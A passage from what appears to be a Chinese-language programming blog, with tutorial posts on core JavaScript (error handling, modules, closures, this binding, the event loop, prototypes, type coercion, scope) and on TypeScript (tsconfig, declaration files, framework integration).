catch 里别吞掉错误——至少打日志，或重新 throw。静默失败最可怕。

异步错误捕获

// Promise
fetch(url).then(r => r.json()).catch(err => handle(err));

// async/await：用 try/catch 包住
async function load() {
  try {
    const r = await fetch(url);
    return await r.json();
  } catch (e) {
    report(e);
    throw e;
  }
}

注意：window.onerror / unhandledrejection 可兜住全局未捕获错误，用于监控上报。

调试实战

断点：Sources 面板在可疑行点断点，看调用栈和变量。
条件断点：右键断点加条件，只在特定值时停。
console 技巧：console.table 看数组、console.dir 看对象结构。
Network：看请求状态、响应、Timing 定位慢请求。

小结

错误分类型，自定义错误继承 Error。
catch 别吞错，要么处理要么重抛；finally 做清理。
异步用 .catch / try-catch 包 await；全局兜底用 onerror / unhandledrejection。
调试靠断点 + 调用栈 + Network，比 console.log 高效。

练习

写 parseSafe(json, fallback)，解析失败返回 fallback 并打印错误类型。
用 async/await + try/catch 改写一段 .then().catch() 链式。
给页面加 window.addEventListener('unhandledrejection', ...) 上报未捕获 Promise 错误。

10 · 模块化

Tue, 29 Sep 2026 12:00:00 GMT

没有模块的日子

早期用全局变量 + IIFE 避免污染，但依赖关系全靠人工排序 <script> 标签，大型项目一团乱。于是有了两套主流方案。

CommonJS（Node 默认）

// math.js
exports.add = (a, b) => a + b;
// main.js
const { add } = require("./math");

特点：同步加载、运行时解析，require 返回的是值的拷贝（对基本类型）/ 引用（对对象）。它适合服务端，但浏览器需打包器转换。

ES Module（现代标准）

// math.js
export const add = (a, b) => a + b;
export default function() {};
// main.js
import foo, { add } from "./math.js";

特点：静态结构（import/export 在顶层、编译期可知），支持浏览器原生、可被打包器 tree-shaking 剔除未用代码。注意 ESM 里 import 是活绑定（引用），改了源会反映到导入方。

循环依赖的坑

// a.js
import { b } from "./b.js";
export const a = b + 1;
// b.js
import { a } from "./a.js";
export const b = a + 1;

CommonJS：返回部分加载的对象（可能拿到 undefined），顺序敏感，易踩。
ESM：因是活绑定，最终能解析出正确值（但逻辑上仍是坏设计）。

结论：循环依赖是代码异味，重构拆公共模块比纠结规范更治本。

小结

CommonJS：Node 传统，运行时、值拷贝、循环依赖易出 bug。
ESM：标准、静态、活绑定、支持 tree-shaking。
新项目一律 ESM；写库时注意两种规范的 import/require 互操作。
循环依赖靠重构解决，不是靠规范。

练习

把一段 CommonJS 代码改写成 ESM，注意加文件扩展名（NodeNext 要求）。
构造一个 CommonJS 循环依赖，观察取到 undefined 的现象。
解释为什么 ESM 能做 tree-shaking 而 CommonJS 很难。

09 · 函数式与高阶函数

Tue, 29 Sep 2026 11:00:00 GMT

函数是一等公民

JS 里函数可以像值一样：赋值、传参、返回。基于这个特性衍生出高阶函数（接收或返回函数的函数）和纯函数（相同输入永远相同输出、无副作用）。

数组三件套

const nums = [1, 2, 3, 4, 5];
const result = nums
  .filter(n => n % 2 === 1)   // [1,3,5]
  .map(n => n * n)            // [1,9,25]
  .reduce((sum, n) => sum + n, 0); // 35

map/filter/reduce 不修改原数组（纯），链式表达数据流转，比 for 循环更声明式、更易读。

柯里化

把多参函数转成"每次吃一个参数"的链式函数：

const add = a => b => a + b;
add(2)(3); // 5
// 实战：预置配置
const log = prefix => msg => console.log(`[${prefix}] ${msg}`);
const logError = log("ERROR");
logError("fail"); // [ERROR] fail

函数组合

把小函数拼成处理管道：

const compose = (...fns) => x => fns.reduceRight((v, fn) => fn(v), x);
const trim = s => s.trim();
const upper = s => s.toUpperCase();
const process = compose(upper, trim);
process("  hi  "); // "HI"

为什么函数式好

纯函数可测：不依赖外部状态，给定输入断言输出即可。
无副作用：并发、缓存、推理都更安全。
声明式：关注"做什么"而非"怎么做"。

现实里不必极端函数式，但多用 map/filter/reduce、少改原数据，代码质量立竿见影。

小结

函数是一等公民 → 高阶函数是基础。
map/filter/reduce 链式处理数组，声明式且纯。
柯里化做参数预置，组合做管道。
纯函数提升可测试性与可维护性。

练习

用 reduce 实现 map 和 filter（即 myMap/myFilter）。
写一个 curry(fn) 把普通多参函数转成柯里化版本。
把一段"先过滤空值、再转数字、再求和"的命令式代码改成 reduce 链式。

08 · 事件循环与异步

Tue, 29 Sep 2026 10:00:00 GMT

异步为什么需要事件循环

JS 单线程，若同步等网络/I/O 会卡死页面。于是浏览器把耗时操作（定时器、网络、DOM 事件）交给其他线程（Web APIs）处理，完成后把回调排队，等调用栈空了再执行——这套调度机制就是事件循环（Event Loop）。

两个队列：宏任务 vs 微任务

宏任务（macrotask）：setTimeout / setInterval / setImmediate / I/O / UI 渲染。
微任务（microtask）：Promise.then/catch/finally / queueMicrotask / MutationObserver。

调度规则：每次调用栈清空后，先把当前所有微任务清空，再取一个宏任务执行，如此往复。

经典题：输出顺序

console.log("1");              // 同步
setTimeout(() => console.log("2"), 0); // 宏任务
Promise.resolve().then(() => console.log("3")); // 微任务
console.log("4");              // 同步
// 输出：1 4 3 2

解析：同步先跑 → 1、4；栈空 → 清空微任务 → 3；再取宏任务 → 2。

async/await 的本质

async 函数返回 Promise；await 后面跟着的"同步部分"像 then 回调一样变成微任务：

async function run() {
  console.log("a");
  await null;        // 之后的代码等价于 .then(...)
  console.log("b");
}
run();
console.log("c");
// 输出：a c b

await 让"后面的代码"让出执行权，等微任务阶段再继续。

小结

单线程 + Web APIs + 事件循环 = JS 不阻塞的秘诀。
微任务优先于宏任务；每次清空所有微任务再取一个宏任务。
async/await 是 Promise 的语法糖，await 之后进微任务队列。

练习

写出下面输出并解释：console.log('A'); setTimeout(()=>console.log('B'),0); Promise.resolve().then(()=>console.log('C')); console.log('D')。
用"宏/微任务"规则解释为什么 await 后面的代码总是在当前同步栈之后执行。
写一个会"饿死"宏任务的代码（微任务里不断塞微任务），说明危害。

07 · 执行上下文与调用栈

Tue, 29 Sep 2026 09:00:00 GMT

"单线程"的真正含义

JS 在浏览器里是单线程的——同一时刻只做一件事。代码执行靠**调用栈（Call Stack）**管理：函数调用就压栈，执行完弹出。

执行上下文

每段代码运行前，JS 引擎创建执行上下文，包含：变量环境、作用域链、this。分为：

全局上下文：最外层，程序启动时创建，栈底。
函数上下文：每次函数调用创建一个，压入栈顶。
eval 上下文：少用，忽略。

调用栈长这样

function a() { b(); }
function b() { c(); }
function c() { console.log("end"); }
a();

执行时栈：a → a,b → a,b,c → 打印 → 依次弹出 c,b,a。调试时 DevTools 的 Call Stack 面板就是它。

栈溢出

递归没有终止条件，栈被压满：

function recurse() { recurse(); }
recurse(); // RangeError: Maximum call stack size exceeded

注意：这是同步栈溢出。异步递归（在 setTimeout 里调自己）不会爆栈，因为每次都出栈后再入栈。

和事件循环的关系

调用栈空了，事件循环才会把任务队列里的回调推入栈执行。这是下一篇异步的核心铺垫——同步代码永远先跑完，异步回调排队等。

小结

JS 单线程，靠调用栈管理函数执行。
每次调用创建执行上下文并压栈，结束弹出。
递归无终止 → 栈溢出。
栈空后事件循环才调度异步回调（下篇展开）。

练习

在 DevTools 里给 c() 打断点，观察 Call Stack 从 a→b→c 的变化。
写一个会栈溢出的递归，再改成"尾递归+setTimeout"避免溢出，对比两者。
解释：为什么 setTimeout(fn, 0) 里的 fn 一定在同步代码之后才执行？

06 · this 的四种绑定

Tue, 29 Sep 2026 08:00:00 GMT

this 不是"谁调用"这么简单

新人常以为 this 指向"调用它的对象"。错。规则有优先级，记住四条并按顺序判断就不会乱。

四条绑定规则（优先级从低到高）

1. 默认绑定：独立调用，非严格模式指向 window，严格模式 undefined。

function foo() { console.log(this); }
foo(); // 严格模式 undefined，否则 window

2. 隐式绑定：作为对象方法调用，this 指向该对象。

obj.foo(); // this === obj

⚠️ 隐患：把方法"抽出来"单独调用会丢失绑定（见下）。

3. 显式绑定：call / apply / bind 强行指定。

foo.call(obj, arg1);          // 立即调用，this=obj
foo.apply(obj, [arg1, arg2]); // 同上，参数数组
const bar = foo.bind(obj);    // 返回新函数，this 永久绑定 obj

4. new 绑定：new Foo() 时，this 指向新创建的对象。

优先级

new > 显式(bind) > 隐式 > 默认。记忆口诀：new 最先，bind 次之，隐式再次，默认垫底。

箭头函数：没有 this

箭头函数不绑定自己的 this，而是继承外层词法作用域的 this：

const obj = {
  name: "Tom",
  friends: ["A", "B"],
  say() {
    this.friends.forEach(() => console.log(this.name)); // this 继承 say() 的 this
  },
};

这解决了回调里 this 丢失的老大难问题——以前得用 const self = this 或 bind。

小结

判断 this：先看是不是箭头函数（继承外层）→ 再看 new → call/apply/bind → 隐式 → 默认。
方法被抽离赋值再调用会丢失隐式绑定，用 bind 或箭头函数解决。
箭头函数无 this，是回调场景的最佳选择。

练习

预测 obj.foo() 与 const f = obj.foo; f() 的 this 差异并解释。
用 call 实现一个 sum 的借用调用。
把一段用 const self = this 的老代码改成箭头函数写法。

05 · 闭包

Tue, 29 Sep 2026 07:00:00 GMT

当年最懵的概念

面试被问"什么是闭包"，我背了定义却答不出"它解决什么问题"。后来才懂：闭包让函数能访问定义时所在的作用域，即使那个作用域已执行完。

形成条件

function outer() {
  const count = 0;
  return function inner() {
    count++;
    return count;
  };
}
const fn = outer();
fn(); // 1
fn(); // 2

inner 被返回后，outer 的作用域本该销毁，但因为 inner 还在引用 count，这块作用域被保留——这就是闭包。count 活在闭包里，成为"私有变量"。

经典坑：循环 + var

回顾 01 篇的例子，用闭包修复：

for (var i = 0; i < 3; i++) {
  ((j) => setTimeout(() => console.log(j), 0))(i); // 0 1 2
}
// 或现代写法：直接用 let（块级作用域天然隔离）
for (let i = 0; i < 3; i++) setTimeout(() => console.log(i), 0);

let 的方案本质也是每轮迭代形成独立作用域（类闭包），所以最推荐。

真实应用

模块封装：IIFE / 模块返回的对象方法构成闭包，隐藏私有状态（早期的"模块模式"）。
防抖/节流：闭包保存定时器 ID 和上一次时间。
函数工厂：根据参数"定制"返回的函数。

function debounce(fn, delay) {
  let timer;
  return (...args) => {
    clearTimeout(timer);
    timer = setTimeout(() => fn(...args), delay);
  };
}

小结

闭包 = 函数 + 其词法作用域；能"记住"外部变量。
它是模块私有化、高阶函数的基础。
循环问题用 let 或 IIFE 解决。
闭包持有变量会延长生命周期，注意避免不必要的内存占用。

练习

用闭包实现一个 createCounter()，每次调用返回自增后的值。
写一个 once(fn)，让函数只执行一次（闭包保存标志位）。
解释为什么下面返回 5 个 5，如何用 let 改成 0-4：for (var i=0;i<5;i++){ setTimeout(()=>console.log(i),0); }。

04 · 继承的演进：从原型继承到 class

Tue, 29 Sep 2026 06:00:00 GMT

为什么继承这么绕

JS 没有"类"的概念（ES6 之前），继承全靠原型链模拟。于是出现了各种"组合拳"写法，每种都有坑。理解它们，才知道 class 帮我们省了多少事。

经典写法回顾

原型链继承：子类原型 = 父类实例。缺点：所有子类实例共享父类引用属性。

Child.prototype = new Parent(); // 共享 parent 的引用属性，易串数据

构造函数继承：在子类里 Parent.call(this)。缺点：只继承实例属性，拿不到原型方法。

组合继承：两者结合，最常用但父类构造函数被调用两次。

ES6 class：语法糖

class Animal {
  constructor(name) { this.name = name; }
  eat() { console.log(`${this.name} 吃东西`); }
}
class Dog extends Animal {
  constructor(name, breed) {
    super(name);      // 必须先调用 super，才能用 this
    this.breed = breed;
  }
  bark() { console.log("汪"); }
}

extends 本质是：Dog.prototype.__proto__ = Animal.prototype，原型链接上，继承就成立了。class 没有新机制，只是把"组合继承"封装得好看。

super 的顺序坑

子类构造函数必须先 super() 再访问 this，否则 ReferenceError：

constructor(name) {
  this.name = name; // ❌ 在 super 前用 this
  super(name);
}

因为 super() 负责初始化 this（调用父类构造函数），之前 this 还没诞生。

小结

早期继承靠原型链模拟，写法多且有缺陷。
class / extends 是原型继承的语法糖，理解原型链才不会被"黑魔法"吓到。
super() 必须在子类构造函数最前调用。
优先用 class，legacy 代码才需要看懂老式继承。

练习

用 class 写 Shape 抽象基类与 Circle/Rect 子类，实现 area()。
不用 class，用组合继承实现上面同样的结构，体会差异。
故意在 super() 前访问 this，观察报错信息。

03 · 原型与原型链

Tue, 29 Sep 2026 05:00:00 GMT

第一次没搞懂"方法共享"

早年每个实例都拷贝一份方法，内存爆炸。后来知道 JS 用原型让所有实例共享方法：

function Person(name) { this.name = name; }
Person.prototype.greet = function () { return `Hi, ${this.name}`; };

const p1 = new Person("Tom");
const p2 = new Person("Jane");
p1.greet === p2.greet; // true（方法在原型上，共享）

三个容易混的概念

prototype：函数（构造函数）上的属性，指向"实例的原型对象"。
__proto__（现代用 Object.getPrototypeOf）：实例内部指针，指向"创建它的构造函数的 prototype"。
constructor：原型对象上的属性，指回构造函数本身。

关系：p.__proto__ === Person.prototype，Person.prototype.constructor === Person。

原型链：属性怎么找

访问 p.greet 时，JS 先查 p 自身，没有就沿 p.__proto__（即 Person.prototype）找，再没有继续向上到 Object.prototype，到 null 为止。这条链就是原型链。

p.toString(); // p 自身没有 → Person.prototype 没有 → Object.prototype 有，调用它

原型链是 JS 实现继承的机制：子类原型指向父类实例（或父类原型），就能"继承"其属性。

new 操作符做了什么

function myNew(Ctor, ...args) {
  const obj = Object.create(Ctor.prototype); // 1. 建空对象，原型指向 Ctor.prototype
  const result = Ctor.apply(obj, args);      // 2. this 绑定到 obj，执行构造函数
  return typeof result === "object" && result !== null ? result : obj; // 3. 返回对象
}

理解 new 的三步，就看懂了"为什么实例能访问原型方法"。

小结

实例方法放 prototype 上共享，省内存。
__proto__ 是实例到原型的链，prototype 是构造函数的原型属性。
属性查找沿原型链向上，到 Object.prototype → null。
class 语法是原型继承的语法糖（下篇讲继承演进）。

练习

不用 class，用构造函数 + 原型写一个 Animal，让其有共享方法 eat()。
画出 new Person("Tom") 后 p、p.__proto__、Person.prototype、Object.prototype 之间的指向图。
实现上面的 myNew，并用它创建对象验证原型链正确。

02 · 数据类型与隐式转换

Tue, 29 Sep 2026 04:00:00 GMT

一次线上事故的源头

if (user.permission == "admin") { ... }

某天 user.permission 是数字 0，0 == "admin" 竟然是 false——但另一个分支 1 == "1" 又是 true。隐式转换让相等性判断变得不可预测。结论先给：== 允许类型转换，=== 不转换、更可控。无特殊理由一律 ===。

原始类型 vs 引用类型

原始类型：string / number / boolean / null / undefined / symbol / bigint，按值存储，比较的是"值"。
引用类型：object（含数组、函数、日期等），按引用存储，变量存的是内存地址。

const a = { x: 1 };
const b = a;
b.x = 2;
console.log(a.x); // 2（a、b 指向同一对象）

这也是为什么比较两个对象要用深比较或 JSON.stringify，而非 ==/===（后者比的是引用）。

== 的隐式转换规则（记住几条就够）

== 在类型不同时会尝试转换，规则复杂且反直觉：

[] == false      // true（[] 转成 ''，再转成 0）
[] == ![]       // true（![] 是 false，[] 转 0，false 转 0）
'0' == false    // true
null == undefined // true（唯一一对 == 相等但不 === 的情况）
NaN == NaN      // false（NaN 不等于任何值，用 Number.isNaN 判）

看到这些就明白：=== 才是"我真的想比较"。

类型判断

需求	写法	注意
原始类型	`typeof x`	`typeof null` 返回 `"object"`（历史 bug）
引用类型	`x instanceof Ctor`	跨 iframe/多全局环境会失效
数组	`Array.isArray(x)`	最可靠
安全判断	`Object.prototype.toString.call(x)`	返回 `[object Array]` 等

小结

引用类型比的是引用，不是内容。
== 会隐式转换，易出 bug；默认 ===。
typeof null 是 "object"，判空用 x === null。
数组用 Array.isArray，跨环境类型判断用 toString.call。

练习

预测并验证：[] == 0、' ' == 0、null === undefined 的结果。
写函数 isPlainObject(x)，用 toString.call 判断是否为普通对象 {}。
解释为什么 NaN !== NaN，以及如何正确判断一个值是不是 NaN。

01 · 变量、作用域与提升

Tue, 29 Sep 2026 03:00:00 GMT

一个让我加班的 bug

早年写循环绑定事件，用的是 var：

for (var i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 0);
}
// 输出：3 3 3（不是 0 1 2）

因为 var 是函数作用域，i 在整个函数里只有一个，循环结束时已是 3。改成 let 立刻正常——因为 let 是块级作用域，每次迭代都有独立的 i。这就是作用域差异最直观的代价。

三种声明的作用域

声明	作用域	提升	重复声明	暂死区
`var`	函数作用域	提升并初始化为 `undefined`	允许	无
`let`	块级作用域	提升但不初始化	不允许	有（TDZ）
`const`	块级作用域	同上	不允许	有（且不可改绑定）

变量提升与 TDZ

var 会被"提升"到函数顶部并初始化为 undefined：

console.log(a); // undefined（不报错）
var a = 1;

let/const 也提升，但在声明前访问会抛 ReferenceError，这段区域叫暂时性死区（TDZ）：

console.log(b); // ReferenceError: Cannot access 'b' before initialization
let b = 2;

经验：永远在作用域顶部声明、使用前声明，TDZ 就不会咬人。

作用域链

JavaScript 通过词法作用域（代码写在哪里决定）形成作用域链。查找变量时，从当前作用域向外层逐级找，直到全局：

const x = 1;
function outer() {
  const y = 2;
  function inner() {
    console.log(x, y); // 1 2（沿作用域链向上找到）
  }
  inner();
}

关键：作用域在定义时确定，不在调用时。这是闭包能"记住"外部变量的根因（下篇细讲）。

小结

默认用 const，需要重新赋值时用 let，别用 var。
块级作用域（if/for 的 {}）让变量范围更小、更安全。
TDZ 是 let/const 的安全机制，触发说明你用了"还没初始化的变量"。
作用域链沿词法作用域向上查找，且"定义时定死"。

练习

用 let 改写上面的 for 循环，解释为什么现在输出 0 1 2。
写一个函数，内部用 var 声明后在声明前 console.log，观察输出；换成 let 再看。
解释：为什么在 if (true) { let z = 1 } 之后访问 z 会报错？

JavaScript 核心 · 路线总览

Tue, 29 Sep 2026 02:00:00 GMT

[!NOTE] 本系列共 12 篇文章，是我做前端这十年里，反复回看、反复教新人的 JavaScript 核心脉络。不堆 API，只讲"为什么是这样"。

为什么重学 JS

工作头两年我以为"会写 JS"= 会 $.ajax、会写 for 循环。直到第一次遇到 setTimeout 顺序不对、this 指向莫名、原型链查不到属性——才明白 JS 的"怪"背后都有一套自洽的机制。

本路线就是把这些机制拆开讲透：

JavaScript 核心

├── 语言机制
│   ├── 变量与作用域（提升、TDZ、作用域链）
│   ├── 数据类型与隐式转换
│   ├── 原型与原型链
│   └── 继承的演进
├── 运行时行为
│   ├── 闭包
│   ├── this 的四种绑定
│   ├── 执行上下文与调用栈
│   └── 事件循环与异步
└── 工程化表达
    ├── 函数式与高阶函数
    ├── 模块化
    └── 错误处理与调试

这十年我踩过最痛的几个点

var 的函数作用域：循环中用 var 声明 i，闭包全拿到最后一个值——新人必踩。
== 的隐式转换：[] == false 是 true，[] == ![] 也是 true，面试地狱。
this 丢失：回调里 this 指向 undefined（严格模式），排错排到怀疑人生。
事件循环顺序：Promise.then 和 setTimeout 谁先执行，搞错就写出竞态 bug。
循环依赖：CommonJS 和 ESM 表现不同，升级打包器时集体暴雷。

每一篇我都会从一个真实场景/报错切入，再讲底层原理，最后给"以后怎么避"。

怎么读

前 8 篇是地基，建议按序，每篇代码自己敲一遍（别复制）。
遇到"为什么输出是这样"，用 DevTools 打断点看调用栈，比看十篇博客有用。
后 4 篇偏工程表达，可当工具箱按需查阅。

小结

JS 不难，难的是它"看似随意、实则严谨"。把作用域、原型、事件循环这三根支柱立住，剩下都是水到渠成。下一篇从最基础的变量与作用域讲起。

14 · 与框架/运行时集成实战

Mon, 28 Sep 2026 02:00:00 GMT

[!NOTE] 终点站：把前面学的全部用进真实框架。本篇给 React / Vue 3 / Node 三套最常见的 TS 集成范式，以及那些"文档不会明说"的坑。

1. React + TypeScript

组件 props

interface ButtonProps {
  label: string;
  disabled?: boolean;
  onClick: (e: React.MouseEvent<HTMLButtonElement>) => void;
}
function Button({ label, disabled, onClick }: ButtonProps) {
  return <button disabled={disabled} onClick={onClick}>{label}</button>;
}

泛型组件

function List<T>({ items, render }: { items: T[]; render: (it: T) => React.ReactNode }) {
  return <>{items.map(render)}</>;
}

Hooks 类型

const [count, setCount] = useState<number>(0);
const [user, setUser] = useState<User | null>(null);
useEffect(() => { /* deps 类型由数组推断 */ }, [count]);

要点：事件参数用 React.ChangeEvent<HTMLInputElement> 等精确类型；ref 用 useRef<HTMLDivElement>(null)。

2. Vue 3 + TypeScript

defineComponent + setup

import { defineComponent, ref, reactive } from "vue";

export default defineComponent({
  props: {
    title: { type: String, required: true },
    count: { type: Number, default: 0 },
  },
  setup(props) {
    const name = ref<string>("");      // Ref<string>
    const state = reactive({ n: 0 });  // 深层响应式
    return { name, state };
  },
});

`<script setup lang="ts">`（推荐写法）

<script setup lang="ts">
interface Props { id: number }
const props = defineProps<Props>();
const emit = defineEmits<{ (e: "change", v: number): void }>();

const list = ref<number[]>([]); // 显式给 ref 泛型
</script>

Vue 3 对 TS 支持很好：ref<T> 推断值类型、reactive 推断对象、defineProps/defineEmits 直接吃泛型。

3. Node + TypeScript

后端路由类型化

import express, { Request, Response } from "express";
const app = express();
app.get("/user/:id", (req: Request, res: Response) => {
  const id = req.params.id; // string
  res.json({ id });
});

直接运行

npm install -D tsx
npx tsx src/server.ts   # 免编译直接跑

生产构建仍用 tsc 或打包器产出 JS 再 node dist/server.js。

4. 常见坑

类型与运行时不匹配：as 断言骗过编译器，但运行时不保证。例：JSON.parse 返回 any，要手动收窄成具体类型。
第三方库 any：遇到无类型库，先找 @types；没有就写 .d.ts（第 12 篇），别全局 any 污染。
ref 解包：Vue 模板里 ref 自动解包，但 TS 里 .value 才是值，别混。
event 默认 any：React 老写法 onClick={(e) => ...} 不标类型时 e 是 any（若关了 noImplicitAny），务必标 React.ChangeEvent<...>。
枚举 vs 联合：库/跨端（如 Vue 模板）里枚举编译后会变对象，模板里访问要注意；新增代码优先字面量联合。

5. 最佳实践清单

✅ 全程 strict，别留 any 死角（用 unknown + 守卫替代 any）。
✅ 组件 props、函数参数、导出结构显式注解；局部变量交给推断。
✅ 用 import type 隔离类型导入，配合 isolatedModules 安全。
✅ 类型从数据来：先定 interface，再写实现，类型即文档。
✅ 类型检查与打包分离：tsc --noEmit + Vite/webpack。
❌ 别为了"过编译"滥用 as any，那是埋雷。
❌ 别手写 .d.ts 维护自己库的类型，用 declaration 自动生成。

6. 路线收官

走到这里，你已经具备：

用 TS 描述任意数据结构（接口/泛型/工具类型）；
用类型守卫与可辨识联合写出安全的分支逻辑；
用 tsconfig 与工程化手段管理真实项目；
把类型系统落地到 React/Vue/Node。

类型系统的终点不是"写更复杂的类型"，而是用刚好够的类型，让 bug 在编译期现形、让代码自我说明。继续在真实项目里打磨手感即可。

小结

React：props 用 interface，事件用 React.*Event，泛型组件 function C<T>(...).
Vue 3：<script setup lang="ts"> + ref<T> + defineProps<T>()。
Node：路由参数/响应用 Request/Response 类型，tsx 直接跑。
通用坑：类型≠运行时、第三方库补类型、别滥用 as any。
原则：strict 全程开，类型从数据来，类型检查与打包分离。

练习

写一个带 interface ButtonProps 的 React 按钮组件，处理 onClick 的 MouseEvent 类型。
用 Vue <script setup lang="ts"> 写计数器：ref<number> + defineProps + defineEmits。
用 Express + TS 写 /api/users 返回 User[]，给 res.json 传类型化数据。
审查你现有项目，找出三处可用 unknown+守卫替换 any 的地方。

13 · 工程化：tsconfig 全解与构建

Sun, 27 Sep 2026 15:00:00 GMT

[!NOTE] 前 12 篇讲语言特性，本篇讲"怎么把 TS 用在生产项目里"。tsconfig 是项目的总开关，配错了要么漏检类型、要么编译炸。逐字段讲清。

1. tsconfig 怎么生效

tsc 在当前目录找 tsconfig.json，按 include/exclude/files 决定编译范围。空 tsc 用配置编译，tsc file.ts 则忽略配置单文件编译。

2. 最关键的开关：strict

{ "compilerOptions": { "strict": true } }

strict: true 一次性开启一组检查，等价于：

子项	作用
`strictNullChecks`	`null/undefined` 不能赋给非联合类型（最重要）
`noImplicitAny`	隐式 `any` 报错
`strictFunctionTypes`	函数参数逆变检查更严
`strictBindCallApply`	`bind/call/apply` 也有类型
`strictPropertyInitialization`	类属性必须初始化
`noImplicitThis`	`this` 类型不明确报错
`alwaysStrict`	输出 `"use strict"`

强烈建议全程 strict。它是 TS 安全感的来源，关掉等于自废武功。

3. 编译目标与库

{
  "target": "ES2020",   // 编译到哪版 JS
  "lib": ["ES2020", "DOM", "DOM.Iterable"], // 可用哪些内置 API 的类型
}

target 决定语法降级（如 async 转成回调）；lib 决定"能用哪些全局类型"——前端要加 "DOM"，Node 则慎重。只设 target 时 TS 会自动配对应 lib。

4. 模块与输出

{
  "module": "ESNext",
  "moduleResolution": "Bundler",
  "outDir": "./dist",
  "rootDir": "./src",
  "sourceMap": true,
  "removeComments": false
}

前端（Vite/webpack）：module: ESNext + moduleResolution: Bundler，由打包器负责最终 JS。
Node：module: NodeNext + moduleResolution: NodeNext，写扩展名。

5. 路径别名

{
  "baseUrl": ".",
  "paths": { "@/*": ["src/*"], "@utils/*": ["src/utils/*"] }
}

TS 能解析别名，但运行时/打包器也要配（Vite 的 resolve.alias、Node 的 tsconfig-paths/tsx）。两处都要配，否则编译过运行炸。

6. project references（monorepo 友）

多个子包互相依赖、共享类型时，用项目引用避免重复编译：

// 根 tsconfig.json
{
  "files": [],
  "references": [
    { "path": "./packages/core" },
    { "path": "./packages/app" }
  ]
}

// packages/core/tsconfig.json
{
  "compilerOptions": {
    "composite": true,     // 必须，生成 .tsbuildinfo
    "outDir": "../../dist/core",
    "rootDir": "src"
  }
}

tsc -b（build 模式）按依赖顺序增量编译，子包间类型共享且互不重复检查。这是 TS 官方推荐的 monorepo 方案（比第三方工具更稳）。

7. TS 与打包器的边界

常见误解："tsc 负责打包"。其实：

tsc：只做类型检查 + 转译语法（TS→JS）。默认不打包、不处理 CSS/图片。
打包器（Vite/webpack/esbuild/rollup）：处理打包、压缩、资源、HMR。

现代前端流程：

vite build   # 内部用 esbuild/rollup 处理 .ts，极快
tsc --noEmit # 单独跑类型检查，不参与打包

即"打包用打包器，类型检查用 tsc --noEmit"，职责分离、各取所长。

8. 常用提速与保险项

{
  "skipLibCheck": true,   // 跳过 .d.ts 检查，显著提速
  "incremental": true,    // 增量编译，生成 .tsbuildinfo
  "noUnusedLocals": true, // 未用变量报错
  "noUnusedParameters": true,
  "forceConsistentCasingInFileNames": true
}

小结

strict: true 是安全底线，务必开。
target/lib 控语法与可用 API；module/moduleResolution 按前端/Node 选。
路径别名 TS 与打包器都要配。
monorepo 用 project references + composite。
打包交给 Vite/webpack，tsc --noEmit 只做类型检查。

练习

新建项目，开 strict，故意留一个 let x; x.foo 看 noImplicitAny 是否报错。
对比 strictNullChecks 关/开时 let a: string = null 的行为。
配置 @/* 别名，分别在 TS 与 Vite 里生效并验证。
用 tsc -b 建一个两包依赖的最小 monorepo 体会 project references。

12 · 声明文件与类型生态

Sun, 27 Sep 2026 14:00:00 GMT

[!NOTE] 很多 JS 库没有类型，TS 怎么认得它们？答案是声明文件 .d.ts——只描述形状、不含实现的"类型说明书"。本篇讲清它的全部玩法。

1. 什么是 .d.ts

.d.ts 是只有类型、没有值的文件，编译后不产生 JS。它告诉 TS："某个东西长这样，你按这个检查就行"。打开 node_modules/@types/node 能看到一大堆 .d.ts，那是 Node 的"说明书"。

2. declare 关键字

在 .d.ts 里用 declare 声明外部存在的值/类型：

// globals.d.ts
declare const API_URL: string;
declare function greet(name: string): void;
declare module "legacy-lib" {
  export function doThing(): void;
}

declare 的意思是"这个东西在别处定义了，我只声明它的类型"。在普通 .ts 里也能用 declare 避免重复实现（如只为已有全局变量补类型）。

3. 第三方库类型 @types

绝大多数流行库的类型在 @types/xxx 里：

npm install -D @types/lodash @types/node

装好后 TS 自动找到类型。这些包来自社区维护的 DefinitelyTyped 仓库。如果库自带类型（包里含 .d.ts 或 package.json 的 types 字段），则不用装 @types。

4. 全局声明 declare global

给全局对象（如 window）加自定义属性：

// global.d.ts
declare global {
  interface Window {
    myConfig: { theme: string };
  }
}
export {}; // 让本文件成为模块（否则 declare global 不生效）

之后 window.myConfig 就有类型了。给 process.env 加自定义变量同理：

declare namespace NodeJS {
  interface ProcessEnv {
    API_KEY: string;
  }
}

5. 为无类型库补声明

遇到老库没类型、也不想装 @types（或不存在），自己写个 .d.ts：

// types/my-lib.d.ts
declare module "my-old-lib" {
  export function compute(input: string): number;
  export const version: string;
}

然后把 types 目录加进 tsconfig 的 include 或 typeRoots。这样 import 该库就有类型，且不会 any。

若库导出太复杂，先用 declare module "x"; 让它整体为 any，再逐步细化：

declare module "x"; // 最粗粒度：整个模块 any，至少能 import

6. 编写可发布的类型包

若你开源一个 JS 库，给用户好体验就带上类型：

// package.json
{
  "types": "./dist/index.d.ts",
  "exports": { ".": { "types": "./dist/index.d.ts", "default": "./dist/index.js" } }
}

用 tsc 的 declaration: true 自动从 .ts 生成 .d.ts：

{ "compilerOptions": { "declaration": true, "emitDeclarationOnly": true, "outDir": "dist" } }

7. 类型与实现分离的最佳实践

业务逻辑写在 .ts，类型声明由 tsc 生成，不要手写维护 .d.ts（易与实现脱节）。
只有描述外部/全局才手写 .d.ts。
严格项目开 skipLibCheck: true，跳过 .d.ts 内部一致性检查，避免第三方类型拖累你的编译速度（你不负责修它们的类型）。

小结

.d.ts = 只有类型、编译后消失的"说明书"。
declare 声明外部存在的值/类型；declare module "x" 为库补类型。
第三方库优先 @types/xxx（DefinitelyTyped）。
declare global 扩展 window/process.env。
自己库用 declaration: true 自动产出 .d.ts，别手写维护。

练习

找一个没类型的库（或假设 my-lib），写 .d.ts 补 declare module "my-lib" 并 import 测试。
用 declare global 给 window 加 appVersion: string，在代码里访问。
开 declaration: true 编译一个含函数的 .ts，观察生成的 .d.ts。
解释何时用 @types/xxx、何时自己写 .d.ts、何时用 declare module "x";。

11 · 模块与命名空间

Sun, 27 Sep 2026 13:00:00 GMT

[!NOTE] 模块化是现代 JS/TS 的基石。本篇讲清 ES Module 在 TS 里的写法、模块解析规则，以及为什么 namespace 基本被淘汰。

1. 导出 export

// math.ts
export const PI = 3.14;
export function square(n: number): number { return n * n; }
export interface Point { x: number; y: number }

// 或集中导出
const add = (a: number, b: number) => a + b;
export { add };

类型（interface/type）也能 export，编译后会被擦除，只用于类型检查。

2. 导入 import

import { PI, square, type Point } from "./math";
import * as MathUtils from "./math"; // 命名空间式导入
